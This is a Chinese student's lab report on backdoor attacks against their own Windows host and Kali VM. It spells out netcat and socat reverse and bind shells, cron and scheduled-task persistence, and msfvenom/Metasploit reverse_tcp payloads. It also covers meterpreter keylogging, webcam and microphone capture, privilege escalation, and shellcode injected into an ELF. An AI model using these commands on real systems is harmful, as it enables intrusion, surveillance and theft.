首页 > 其他分享 >20222423 2024-2025-1 《网络与系统攻防技术》实验二实验报告

20222423 2024-2025-1 《网络与系统攻防技术》实验二实验报告

时间:2024-10-17 21:13:41浏览次数:8  
标签:IP 获取 kali 虚拟机 2024 2025 主机 20222423 win

1.实验内容

主要学习了有关后门的攻击案例,后门造成的影响以及原理等,通过实验学会使用不同的工具实现对目标主机的渗透监听,获取主机shell等等,体会后门攻击的过程,从而增强自己的信息安全保护意识。

1.1 实验要求

  1. 使用netcat获取主机操作Shell,cron启动某项任务(任务自定)

  2. 使用socat获取主机操作Shell, 任务计划启动

  3. 使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell

  4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权

  5. 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

1.2 问题回答

(1) 例举你能想到的一个后门进入到你系统中的可能方式?

  • 比如钓鱼短信或者恶意电子邮件中来路不明的连接,或者下载来路不明安全性无法保障的引用

(2)例举你知道的后门如何启动起来(win及linux)的方式?

  • 对于windows, 后门启动方式有:利用windows的启动项启动后门,通过修改注册表添加启动路径,和其他文件捆绑,设置服务自启动等。

  • 对于Linux, 后门启动方式有:利用crom创建定时任务,创建开机启动的系统服务,利用自启动脚本启动,利用反弹shell启动后门等。

(3)Meterpreter有哪些给你映像深刻的功能?

  • 通过实验,发现其可以较为轻松地获取PC的摄像头、麦克风等权限,甚至可以或得键盘敲击的记录、电脑截屏等,让我进一步认识到电脑安全保护的重要性。

(4)如何发现自己有系统有没有被安装后门?

  • 可以检查自己主机的系统日志

  • 使用防病毒软件(360,火绒)等,

  • 任务管理器检查启动项,或者看有无未授权运行的程序

  • 检查注册表查看是否有来路不明的条目等

2.实验过程

2.1 任务一:使用netcat获取主机操作Shell,cron启动某项任务

2.1.1 关闭win端相应杀毒保护

由于我的win电脑自带的杀毒软件没有开启,一直使用360,所以基本不用关。

2.1.2查看虚拟机和主机的ip

由于整个实验分别在宿舍和实验室各完成了一部分,所以ip会有变化

  • 在宿舍的ip:

  • win端的IP

  • kali虚拟机的IP

  • 实验室中的ip:

  • win端的IP: 192.168.3.43

  • 虚拟机的IP: 192.168.56.105

2.1.3 使用nc连接到win主机端

  • 需要明确一下,对于这个任务,被攻击方为kali,而攻击方为win

  • 经过测试和搜索资料,发现namp也可以完成这一功能,搜索资料后才知道ncat是namp的组件,所以可以完成这一功能。

win端设置TCP监听端口,kali端连接win的IP和对应端口

ncat -lp 2423
/ 注意要在工具所在的目录之下进行cmd /

nc 192.168.50.29 -e /bin/sh
/ nc 代表netcat,-e代表连接运行的程序 /

kali虚拟机连接

win端连接的结果

2.1.3 win端利用cron设置定时启动的任务

此时再win端直接使用crontab -e是无法直接远程编辑的,会出现错误

所以需要通过其他办法进行编辑
首先在win端进入root权限


下面需要再输入这样的语句

echo "* * * * * echo "20222423lpy" > /home/kali/20222423.txt" > /var/spool/cron/crontabs/root	
/ 任务每分钟定时执行一次,用“20222423lpy”覆盖文件20222423.txt /

其中的root文件在这里

首先打开这个crontabs文件夹时候需要用到root权限来打开

其次,有些同学第一次打开的时候里面并没有任何文件,这个root需要手动创建,详细见后面的 问题与解决部分

随后等待个1分钟左右查看结果

可以看到,文件中确实添加了“20222423lpy”的信息,至此第一个任务完成。

2.2 任务二:使用socat获取主机操作Shell, 任务计划启动

socat与ncat功能有所不能,比ncat功能更全面些,比如建立ssl连接等

整个实验的过程是在windows中设置任务计划,任务内容是启动socat,kali利用自动启动的socat和win连接并获取shell。

2.2.1 与主机建立连接,获取shell

首先在win端进入socat所在的文件夹下,输入下面的命令

socat.exe tcp-listen:2423 exec:cmd.exe,pty,stderr	

/ 把cmd.exe绑定到端口2423,并把cmd.exe的stderr重定向到stdout /

kali端与win主机建立连接,获取shell

socat - tcp:192.168.50.29:2423
/ 连接远程的端口 /

chcp
/ 这个命令是解决出现的乱码问题 /

2.2.2 kali端创建启动windows程序的任务计划

在实验中我已经提前编译好了程序20222423lpy_test.exe,详细代码如下

程序的功能是每隔一分钟在D盘下的文件20222423lpy_socat.txt中写入fprintf里面的内容

接下来在kali输入schtasks命令,创建任务计划

schtasks /create /sc minute /mo 1 /tn “20222423lpy_socat” /tr E:\Socat\20222423lpy_test.exe	
/ 每分钟执行一次20222423lpy_test.exe /


成功后验证一下是否成功创建任务,在win端打开任务计划程序库

可以看到我们成功创建了名为20222423lpy_socat的任务

最后打开文件验证是否执行了20222423lpy_test.exe

可以看到其中的每一条消息都想间隔了一分钟左右,至此任务二成功完成

2.3 任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

从这步到最后的任务完成,由于实验场地更换,截图中的win主机和虚拟机kali的IP有所不同,请注意。

注意,从这到后面部分的任务一定要保证虚拟机和win端能够互相Ping通!!,否则无法控制运行shell

此时的win主机IP: 192.168.3.43

此时虚拟机的IP: 192.168.56.105

2.3.1 生成后门文件

在kali端输入下面的内容,首先生成后门文件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.105 LPORT=2423 -f exe > 20222423_lpy.exe
/ 注意这里的LHOST使用的IP是kali虚拟机自己的IP,不要输成win端主机IP了 /
/ -f exe 指定输出格式为可执行文件(exe) /
/ msfvenom 调用 Metasploit Framework 中的 msfvenom 工具 /
/ -p 代表payload,它会与win主机建立反向TCP连接 /

2.3.2 利用ncat将生成的后门文件传输给win端主机

在win端进入ncat所在的文件夹下,输入下面的命令,让win监听窗口2423并等待接受后门文件

.\ncat -lv 2423 > 20212422_backdoor.exe

同样在虚拟机上使用ncat将后门文件传给windows端

nc 192.168.3.43 2423 < 20222423_lpy.exe 

最后验证下文件是否传递过来

可见后门文件成功传递了过来

2.3.4 虚拟机kali通过msf控制台获取win的shell

在kali端进入msf控制台,并配置相关命令

msfconsole
/ 进入msf控制台 /

use exploit/multi/handler 
/ 设置一个多用途的监听器(handler),该监听器可以接收来自多个不同payload的连接 /

set payload windows/meterpreter/reverse_tcp
/ 设置了 payload 为 Windows Meterpreter 反向 TCP /

set LHOST 192.168.56.105
/ 设置虚拟机kali的IP,和前面生成的后门文件配置一样 /

set LPORT 2323
/ 设置kali的端口号 /

exploit
/ 开始触发 /

随后在win端运行后门程序(注意:要在kali端输入exploit前执行文件)

等待一小会时间,可以看到kali成功获取了windows的shell

至此,任务三获取win的shell成功完成,下面就可以利用其进行win端文件的获取

2.4 任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

2.4.1 获取win主机音频、摄像头、键盘记录等信息

首先在2.3完成的基础上,在控制台中继续输入下面的命令来获取相应的信息

record_mic    
/ 获取音频信息 /

screenshot    
/ 进行截屏 /

webcam_snap     
/ 获取照相头,进行拍照 /

keyscan_start  
/ 获取键盘敲击记录,此命令代表开始 /

keyscan_dump     

/ 此命令代表结束计入键盘敲击记录,并输出获取的结果 /

获取到的文件结果如下:

其中截屏如下:

获取的拍照结果如下:

获取到的键盘敲击记录如下:

2.4.2 获取权限

继续输入下面的指令

getuid
/ 查看当前用户 /

getsystem
/ 提权指令 /

这里输入提取权限指令的时候出现了错误,如下图,详细解决方案在后面的问题与解决部分

到此,可以看到成功从win端获取了音频、键盘敲击记录灯信息。

2.5 任务五:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

2.5.1 msf生成shellcode,注入到实验一的pwn文件中

在kali中打开新的终端,输入下面的内容生成文件
此次实验使用的pwn文件为1_pwn_20222423

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.105 LPORT=2323 -x /home/kali/Desktop/1_pwn_20222423 -f elf > pwn_20222423lpy
/ 调用 msfvenom 工具 /
/ 指定 payload ,它将尝试与攻击者指定的主机建立反向 TCP 连接 /
/ IP和端口为kali端的 /
/ 指定一个现有的可执行文件 pwn_20222423 作为模板 /
/ -f elf指定输出格式为 ELF(Linux中的可执行文件,与windows中的PE文件对应)/
/ 生成的 ELF 文件重定向并保存为 pwn_20222423lpy /

msfconsole
/ 开启msf /

2.5.2 开始执行攻击

随后和2.3.4里输入到kali端的内容一样

use exploit/multi/handler 
/ 进入监听模块 /

set payload linux/x86/meterpreter/reverse_tcp 
/ 击载荷为Linux的反弹TCP连接(64位) /

set LHOST 192.168.56.105
/ 此处的IP还是kali的IP地址,与后门文件中的配置一致 /

set LPORT 2423 
/ 设置端口号 /

exploit
/ 开始触发 /

此时打开另一个新终端,将文件pwn_20222423lpy执行

这里给文件加x权限是为了让其可以执行,详细原因见实验一报告中的问题与解决部分

之后回到前面第一个打开的终端,继续输入exploit触发,可以得到下面的结果

成功完成攻击!
至此实验所有任务都已完成

3.问题及解决方案

  • 问题一:2.1中打开crontabs下却没有root文件问题

  • 在最初打开这个文件夹下的时候,发现里面空无一物,没有出现实验指导视频中显示的root文件

  • 随后搜索相关资料才知道这个文件需要初始化创建

首先在kali端,进入root角色,输入下面的命令

crontab -e	
/ 执行文字编辑器来设定时程表,这里选择的是 /

2
/ 随后选择 2,也就是“ /usr/bin/vim.basic ”/

crontab -l #查看时程表

然后在文件末尾添加下面的命令

5 * * * * /bin/netcat 192.168.50.29 -e /bin/sh
 / IP地址是win主机的,代表在每小时5分钟启动任务 /

然后保存退出,再次查看结果

下来再看看crontabs文件加下有没有东西

很好,问题成功解决,这样就可以继续后面的任务了

  • 问题二:2.3.4触发shell的时候始终无法连通

在2.3.4msf控制台输入exploit时候,win和kali始终无法互相连通

虚拟机始终在这一个消息卡着,没有任何动静

这时候想到前面的要求,此次实验必须要保证虚拟机和win主机能够互相ping通,否则后面的任务无法完成

实验过程中我的虚拟机可以ping通win主机,但是win主机始终无法ping通主机

随后检查虚拟机的IP,发现很神奇,和另一位同学的虚拟机的IP一模一样

难怪始终无法执行shell

随后查阅了很多办法,最后知道需要再虚拟机中修改网络配置,详细步骤可以参考这篇文章

在设置中给虚拟机设置了两个网卡,一个选择仅主机网咯,一个选择网络转地址换

随后重新启动kali虚拟机,再次检查IP

看到虚拟机的IP终于改变,再次测试虚拟机和win主机能否ping通

最后再重新执行2.3.4的步骤,终于能成功连接

  • 问题三:获取权限的时候执行失败

在2.4.2步骤中,获取权限的时候出现错误

这个问题相对较好解决,需要使用管理员执行后门文件

用管理员运行命令提示符

随后进入后门文件所在的文件夹,运行文件

再次输入提取权限命令,成功!

4.学习感悟、思考等

  • 整个实验二相比实验一多了不少任务,但是网上有很多参考资料,还有实验视频,能够一定程度上降低实验难度。但是想要完成整个实验并且还需要理解整个实验原理,依旧花费了我不少时间。此次实验需要和自己的win电脑连通,电脑防病毒功能反而会“阻塞”实验进行。

  • 但是实验带来的收获不少,首先知道了netcat、socat等工具的用法,同时也让我意识到,本以为自己距离后门这样的攻击很遥远,而没想到通过自己也能实现简单后门,网络攻击原来距离我这么近,有是后单单执行一个小程序就有可能让攻击者控制控制你的设备,从而窃取甚至破坏信息。同时也意识到了PC防火墙、入侵检测、防病毒软件、日志等安全保护工具的重要性。

参考资料

标签:IP,获取,kali,虚拟机,2024,2025,主机,20222423,win
From: https://www.cnblogs.com/20222423lpy/p/18470000

相关文章

  • 20240904
    ChangesinAntwanland我们可以考虑直接枚举根,我们假设从根出发的深度为\(i\)的结点数量为\(cnt_i\),那么我们只需要找到第一个\(cnt_1+cnt_2+...+cnt_x\geqk\)即可,但是一个点的中心有可能可以在边上,所以跑两边即可#include<bits/stdc++.h>usingnamespace......
  • 多校 A 层冲刺 NOIP2024 模拟赛 08
    多校A层冲刺NOIP2024模拟赛08T1传送(teleport)签到题性质题,注意到对于一个点而言有意义的传送的只有分别按\(x,y\)排序后与其相邻的点,证明考虑贪心手模即可。然后就能上最短路了,dj的时间复杂度为\(O((n+m)logn)\)。T2排列(permutation)签到题状压,注意到\(\dfrac......
  • 20240909
    DihedralGroup猜结论,我们观察样例就可以猜到,只要\(t\)可以被\(d\)在一个圆上正着或泛着表示即可#include<bits/stdc++.h>usingnamespacestd;#defineintlonglongconstintN=5e4+5;intn,m,a[N],b[N],pos[N];signedmain(){cin>>n>>m;......
  • 20240911
    Jordan'sCastles我们先思考如何快速求出\(b_1,b_2,b_3...b_n\)显然我们可以直接用二分找到,然后我们可以直接将\(a_i\)改为\(min(a[i],b[i])\),然后统计答案即可#include<bits/stdc++.h>usingnamespacestd;#defineintlonglongconstintN=1e5+5;int......
  • 20241016下午
    P1040启发式图染色问题(color)我们可以先想一棵树的情况,如下图所示但是显然这个节点数量是\(2^k\),我们可以考虑二分图,然后你推着推着就会发现一个建图方案具体来说,我们可以现在左边创建一个颜色为\(1\)的结点,然后我们想让颜色数量尽量多,我们直接在右边创建一个颜色......
  • 2024初秋集训——提高组 #36
    C.经典字符串问题题目描述给定一个排列,对于每个数,我们都可以把它看作一个字符串。请求出\([l,r]\)中字典序第\(k\)小的数是什么。思路我们可以建一个可持久化字典树,上面记录每个前缀的每个数。这里我们要在这些数的后面插入\(-1\),使得其长度相等,并方便我们判断字典序。......
  • 多校A层冲刺NOIP2024模拟赛08
    挂分了,垫底啦!!!rank8挂成rank27啦!!!rank27,T128,T20,T30,T40T2内存限制256MB,我打了一个257MB的,然后MLE了。T3暴力挂了9pts?T1传送(teleport)是简单题,但我不会对\(X,Y\)分开看,如果我们在最优解中⾛了某⼀步,可以看做是在对应维度上⾛了⼀段。那么这⼀段上的点可以看做是依......
  • 2024年计算机视觉与图像处理国际学术会议 (CVIP 2024) 2024 International Conference
    文章目录一、会议详情二、重要信息三、大会介绍四、出席嘉宾五、征稿主题六、咨询一、会议详情二、重要信息大会官网:https://ais.cn/u/vEbMBz提交检索:EICompendex、IEEEXplore、Scopus三、大会介绍2024年计算机视觉与图像处理国际学术会议(CVIP2024)将于2024......
  • 第六届土木建筑与城市工程国际学术会议(ICCAUE 2024) 2024 6th International Conferenc
    文章目录一、会议详情二、重要信息三、大会介绍四、出席嘉宾五、征稿主题六、咨询一、会议详情二、重要信息大会官网:https://ais.cn/u/vEbMBz提交检索:EICompendex、IEEEXplore、Scopus三、大会介绍第六届土木建筑与城市工程国际学术会议(ICCAUE2024)将于2024年......
  • 20241017 练习记录
    今天duel了一整天CF的题!虽然都是800-2000的……CF1131C平。开始其实就猜到结论了,但感觉很假就没想下去,还去写什么二分答案随机化,唐完了。结论题,维护双端队列,an从队头进,an-1从队尾,an-2从队头……以此类推,正确性显然。CF888D输!想复杂了……对k分类讨论计算即可......